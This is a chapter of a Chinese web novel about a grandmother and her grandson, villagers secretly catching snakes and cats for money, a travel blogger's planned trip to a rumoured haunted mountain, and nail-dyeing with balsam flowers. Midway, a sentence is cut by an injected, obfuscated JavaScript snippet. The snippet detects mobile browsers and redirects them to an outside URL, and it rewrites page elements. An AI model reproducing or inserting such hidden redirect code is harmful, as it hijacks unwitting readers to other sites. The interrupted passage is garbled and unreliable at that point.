谢清摩挲着银行卡的手指停了下来:“奶,你恨我吗?”
奶奶苦笑了下,忍着泪意说:“傻孩子,我怎么会恨你。”
这次,谢清侧头看向她,眼神认真:“我也一样。”
奶奶愣了下,然后开始放声大笑。
“哈哈哈哈哈。”
笑着笑着眼泪就流了出来。
谢清拧着眉从兜里掏出药来:“奶,要吃药吗?”
奶奶抹了把脸,大口吐出口浊气,声音恢复了之前的洪亮:“不吃,我感觉好得很。”
说着使劲拍了下谢清的肩膀,声音里是释然后的畅快:“阿清啊阿清。”
“我在。”谢清说。
奶奶又狠拍了下他,力气大到差点把他拍倒在地。
“好小子!”
“走,送我去打麻将!”
谢清什么也不问了,起身给奶奶拿了件衣服,替奶奶撑着伞送她去麻将摊。
夏天的雨来的快去的也快,等谢清独自一人步行到家,雨蒙蒙点点快停了,灰暗的天际处,正慢慢亮起一道曙光。
-
“雨终于停了。”
麻将摊不远处的一棵大槐树下,谢阳把裤腿往上卷了卷,小声和一旁的瘦高个说着话。
“要不趁着雨停,再去趟山里?”
瘦高个嘴里叼着个草根,眯着眼睛盯着麻将摊旁边的小媳妇开口:“啧,你踩好点了没?上次就差点让人撞到。”
谢阳顺着他的目光往那边看了一眼,不满地捅了他一下:“别在我爸的麻将摊上搞事。”
“哎呀我是那种人嘛。”瘦高个吊儿郎当道,“再说,看几眼又不能怎么滴。”
谢阳忍不住在心里骂了他句,才开口把话题拖回正轨:“上山逮蛇有啥见不得人的,还让我给你打掩护?”
提起这个,瘦高个就来气:“还不是怪我那好姑姑,小时候非要让我认条蛇当干妈,说能旺我。”
“旺个屁啊!那条蛇不到几年就死了,她竟然说死去的蛇干妈在天上保佑我,叫我以后不能捕蛇不能吃蛇,你说,这不纯纯傻逼吗。”
“万一那天被人看到,回头告诉我姑,她还不把我赶出去。”
看他那样,谢阳都有点后悔答应他的事了,但一想到对方给的钱数,又忍了下来。
“你做这事你姑也是知道的,她就没说啥?”
“她啊,天天想着抱大孙子呢。”瘦高个意味不明地嗤笑声,“只生了个女儿,还嫁出去了,也不知道她一天幻想个什么劲儿。”
“得了,甭聊她了,让你抓的猫你抓到没?”
谢阳扯了下嘴角:“没,村里的猫精得很,我抓了几次都没抓到。”
“啧,毫无进展啊。”瘦高个的目光从小媳妇身上移到不远处大戏台旁边的三两只狗身上,后槽牙咬了下草根残留的甜味,“噗”的声吐掉。
他拍了拍谢阳的肩膀说:“等我找个好东西来,保准咱既能捕到蛇又能抓到猫。”
“什么好东西?”
瘦高个神秘一笑:“到时候你就知道了。”
看对方胸有成竹,谢阳小小松了口气,实在是被猫挠怕了,尤其是有只狸花猫,凶猛异常,他可不想再碰到了。
瘦高个刚走,谢阳就瞟到槐树背后有片衣角摆动,他心里不由咯噔一下。
“谁?出来!”
话落,从槐树背后探出个脑袋来,谢阳皱眉打量着对方:“谢江?”
“阳娃,是我。”谢阳冲他露出个拘谨的笑,原来肉墩墩的身材瘦了不少,脸上的五官变清晰了,人也看起来不油了,就是性子还和以前一样,见人拿不出手。
前段时间刚吃完他家瓜的谢阳对于自己这个从小不怎么熟悉的发小还是有些同情在的,任谁摊上那样一对父母都会怀疑人生,像谢江这样只瘦了但精神头还行的来说,算是好的了。
“你偷听?”
谢江头摇得跟拨浪鼓似的:“没有没有,我刚到,刚到。”
对于脑子不太聪明的谢江,谢阳还是相信的,况且他刚也没聊什么深入的话。
“你不在家待着,出来是有事?”谢阳问他。
谢江不好意思地挠了挠头:“确实有点事找你。”
“找我?干嘛?”
“就是……”谢江扭捏了下,开口道,“就是想跟着你学做席面,你看行不行,到时候和你一起出去挣钱,咱两分。”
谢阳听完直呼好家伙,脑子不好是真没冤枉他。
自己掏了大几万下苦工学的本事,在他嘴里成了跟着他学,看他那样子,应该是不想掏一毛钱,然后学完还要和他分钱。
谢阳一时语塞,简直不知道要说什么好了。
对面的谢江看他一脸便秘的表情,忙从兜里掏出半包烟:“这个给你,你也知道我家什么情况,钱是没有了,但我能时不时从我爸那偷烟给你,权当是学费。”
谢阳木着脸“呵呵”两声:“我技术有限,不收徒,烟你还是留着自己抽吧。”
说完毫不犹豫扭头就走,那速度,仿佛有鬼在后面撵。
“哎?阳娃,你别走啊。”谢江捏着烟盒望向对方的背影,声音低落。
“我妈不让我抽烟,说会抽的迟早要抽死。这烟是专门给你带的,你怎么就不要呢。”
他叹了口气,看来,他妈念叨的让他做大厨不成,人家压根就不收徒。
哎,可怎么办,爸死活不把爷留的三十万拿出来,妈整天只顾着和爸干仗,饭都不好好做了,害得他最近都瘦了。
叮咚。
谢江塞烟盒的动作停下,从另一只兜里拿出手机点开,一个头像是沙滩椰子树实景照的人发来个链接,下面跟着一句话。
叫叔叔:链接(绝美岚山日出,每一幕都是治愈)
叫叔叔:谢江,视频里的岚山是不是在你家?
看着屏幕上的昵称,谢江想了半天,终于想起来这位是谁了。
自己的高中同学,一个家里贼有钱的主,高二时和另一个家境跟他差不多的男生转到了他们学校,只待了不到半年就又转了学,但留下的传说却成了学生间津津乐道的话题。
谢江有段时间非常向往他们,穿名牌吃大餐,旷课逃学玩手机,班主任还不管,但神奇的是,每次月考他俩都能考到前几名,让当时怎么努力学都是倒数第一的谢江羡慕了好长一段时间。
都过去五六年了,他以为对方早把他删了,没想到还能收到信息。
等等,不会是诈骗吧?像之前警察给他宣传的那样,好几年不联系的朋友突然出现,一顿拉关系介绍工作,然后把人骗到国外电击。
大江:你有事吗
叫叔叔:没,就问下你岚山的事
大江:我不知道
叫叔叔:?我记得你好像是在岚山什么村住着
叫叔叔:我记错了?
大江:对,你记错了
家庭影院的真皮沙发上,一头蓝色短发的清瘦男生蹙眉,大而有神的荔枝眼里全是狐疑:“不可能吧,我这记性还能记错?”
“什么记错了?”坐在另一个沙发里,刚打完一局游戏的黑发男生凑过来问。
“你还记得高中时咱班里那个倒数第一吗,他家是不是在岚山那边。”
黑发男生眼珠向右上方瞥着想了下:“是不是脑子不太好使?”
“大概?我没注意,反正总考倒数第一。”
“那就是他。”黑发男生拍了下座椅扶手,“他家就在岚山村,我记得清清的,当时他堂兄弟是咱们学校的全校第一,他是倒数第一,好多人拿他俩做对比,说他俩是‘岚山双绝’。不过后来他堂兄弟转学了,我就没怎么注意了。”
“没记错啊。”蓝发男生点亮暗了一度的屏幕。
嗡嗡,对方又发来消息。
大江:我知道你是骗子
大江:以后不要再联系我了
“哈?”
“啥啊?”黑发男生趴在扶手上去看他的手机,无声读了几句,忽地放声大笑。
“哈哈哈哈哈,他说你是骗子哈哈哈哈哈。”
黑发男生笑得肚子疼,“就你这身家,有必要骗钱吗?哈哈哈哈。”
拿着手机的男生满脸无语,指腹按在屏幕上打了几个字发送。
刚过去,句子前面出现了一个大大的红色感叹号。
大江开启了朋友验证,你还不是他(她)的朋友。
“哈哈哈哈!”黑发男生眼泪都快要笑出来了。
“别笑了。”蓝发男生泄气地靠在椅背上,人生第一次怀疑自己,就他这条件,帅气多金,怎么可能是骗子。
黑发男生无情嘲讽完,擦着泪问他:“恒子,你发了什么链接让人家误会了。”
南叔恒把手机在指尖转了个圈递给他:“喏,你自己看。”
黑发男生接过一看,是个名叫嘤嘤大怪的博主发布的视频,他点开:“这不就是个日出吗。”
“对啊。”南叔恒两手一摊,“我也想问他怎么就误会了。”
黑发男生低头拖动进度条:“嗯?里面的山还挺美的,日出也好看,怎么,你想去玩?”
南叔恒点头问他:“要不要一起?”
“好啊。”对方欣然答应,“刚好我把工作室捋顺了,可以来场说走就走的旅行。”
“ok,你查查岚山资料,我打电话问下其他人去不去。”
“行,你问。”黑发男生把手机还他,点开某app开始找攻略。
出去打完电话的南叔恒回来时,屁股后面跟了条毛发乌黑发亮,体型硕大的黑色牧羊犬,大而有力的爪子无声踩在地毯上,用湿润的鼻头蹭了下黑发男生的胳膊。
“靠!吓我一跳。”
南叔恒朝被对方动作吓到的狗子喊:“南小兔,过来。”
大狗哈着气掉头,一屁股蹲在他主人的脚下看他。南叔恒顺了把狗子变成飞机耳的脑袋,朝黑发男生说:“你属老鼠的?看把我家小兔都吓到了。”
黑发男生搓了搓胳膊上的鸡皮疙瘩,把手机上的内容给他看:“你看下,上面好多人都传岚山有个山神,专门掳进山的旅客。”
南叔恒接过手机,滑动屏幕翻了翻,从岚山开发度假区半道中卒,到前一两年时有探险的旅客失踪都看了个遍。
“就这?”
“就这??”黑发男生睁大眼睛反问,“搁两三年出一次事故,太邪门了吧,要不……我们再看看?”
南叔恒反而觉得没什么:“哪个景区没有几个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145536|193823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事故,更何况是这种开发到一半的深山密林。”
“再说了小启,你没有觉得,越是这种传言,去玩才越有意思吗。”
面对他跃跃欲试的兴奋,何启泰的头像个车载摆件一样猛猛摇摆:“我觉得你在作死。”
“啧。”南叔恒给了他胸口一拳,“这叫勇于挑战,行了,别墨迹,就问你去不去。”
何启泰揉着胸腔嘟囔:“不是很想去……”
“因为传闻?”
“因为你的运气。”何启泰吐槽,“自从你做了旅游博主,路上发生的离谱事还少吗。”
南叔恒摸着狗子斜了他一眼:“你懂什么,那叫天赐的素材,你叔叔我啊,天生就是吃自媒体这碗饭的。”
“再说,你看我视频,哪次不是峰回路转有了神一般的机遇?”他砸吧了下嘴唇,自恋摇头,“没办法,就是这么福星高照。”
何启泰一想也是,但山神的传闻,额……其实,也不是非去不可。
“其他人呢,去不去?”
南叔恒耸了下肩膀:“忙的忙,出国的出国,都没时间。”
何启泰立马开口:“那我也没时间。”
“你不是工作室都弄顺了吗?”
“没有没有,还有好几个我看中的人才没挖到呢。”
南叔恒也不强求,谁让他上天入地习惯了呢,哎,相比起平平淡淡,他还是更适合东南西北的奔走,这大概就是自由者的寂寞吧~
-
夏日的七月,凤仙花开得正旺。
奶奶弯着腰把院子菜地里的凤仙花一一剪下放在篮子里。
“奶奶,她真的可以染指甲吗?”阿岚蹲在菜地边,手里盘着蓝色木雕星星问。
“可以,等会啊,给你十个手指都染成橘红色,可好看了。”
阿岚有些期待,她还没有染过指甲。
奶奶把收集的花瓣放进石臼里,用杵子捣碎,再加入了些碾得碎碎的明矾混合,等石臼里的花瓣成了暗红色的花丝,奶奶才将他们倒在碟子里。
阿岚的手指蠢蠢欲动:“可以染了吗奶奶。”
奶奶呵呵一笑,从篮子的底部拿出一沓洋姜叶子和白色细棉线放在桌子上:“好了,手伸出来。”
把星星换了只手拿,阿岚伸出右手,奶奶眯着眼睛捏起一小块花瓣丝放在她的指甲上,整理了半天都有溢出的小碎块。
“奶奶,这样就能行。”
精益求精的奶奶“嗯?”了声:“不行,花放出去染出来的就不好看了。”说完仰头朝谢清的屋子喊了声。
“阿清,出来帮个忙。”
屋子里的谢清将最后一句话打出来发送过去。
山间青雾:抱歉,我还有家人需要照顾,暂时不考虑去异地上班。
“来了。”
汲着拖鞋来到照壁处,谢清从一旁拉了个竹椅坐下:“染指甲?”
阿岚点头。
奶奶擦着手道:“我这眼睛不行了,看不清,你帮阿岚弄下。”
谢清问:“奶,你的眼镜呢。”
“嗐,放你爱菊奶那忘拿回来了。”
“嗯。”谢清转了个身,朝阿岚所在的方向伸出掌心,看她。
阿岚犹疑地护着指甲上的花瓣丝:“你会吗?”
“会。”
得到肯定回答,阿岚这才把手放在了他的掌心。
谢清低头,左手中指托着她沾染了花丝的食指,用大拇指和食指把她手指固定住,右手捏出多余的花丝,将剩下的在她食指上小心调整着。
红色的汁液顺着两人手指的缝隙延展开,指腹的触碰把深红液体挤成了薄薄一层浅红,好似天边的晚霞般。
阿岚觉得有些痒,缩着手想收回去。
“别动。”谢清收紧手力,抬头看了她眼。
阿岚突然开口:“你流了好多汗。”
谢清抽出一只手拿了片洋姜叶子:“热。”
阿岚点头:“我也热。”她感觉雨后的太阳比之前晒多了。
谢清忙着用叶子裹住她放好花丝的手指,再取来截白棉线一圈圈缠好:“紧吗?”
“可以再紧点。”她怕等会自己一甩就甩开了。
谢清低头拉紧线,绑好,系紧。
“好了。”
阿岚举着手看自己被绿叶子裹起来的十指,嘴角一勾:“好玩。”
“剩下的也要。”
谢清伸出手示意:“手给我。”
接下来就顺利了许多,尽管谢清的背已经湿透,但他染指甲的手依旧很稳。
看着大功告成的十根手指,阿岚新奇的动了动。
“三个小时就好了,要是想颜色深点,可以过一夜再拆。”奶奶道。
阿岚旁观着谢清给奶奶染指甲,下意识想拿起星星盘着,一握,才回过神来自己绑了洋姜叶子,于是只好把星星揣进兜里。
“我五个小时拆。”
奶奶笑了:“那到半夜了,乖乖熬得住?”
阿岚胸有成竹:“我可以。”
晚上,谢清坐在沙发上刷着手机,时不时看一眼不到十点半就躺在地上凉席呼呼大睡的某人。
掐着点按掉设置好的闹铃,谢清放轻脚步起身,慢慢蹲在阿岚身边。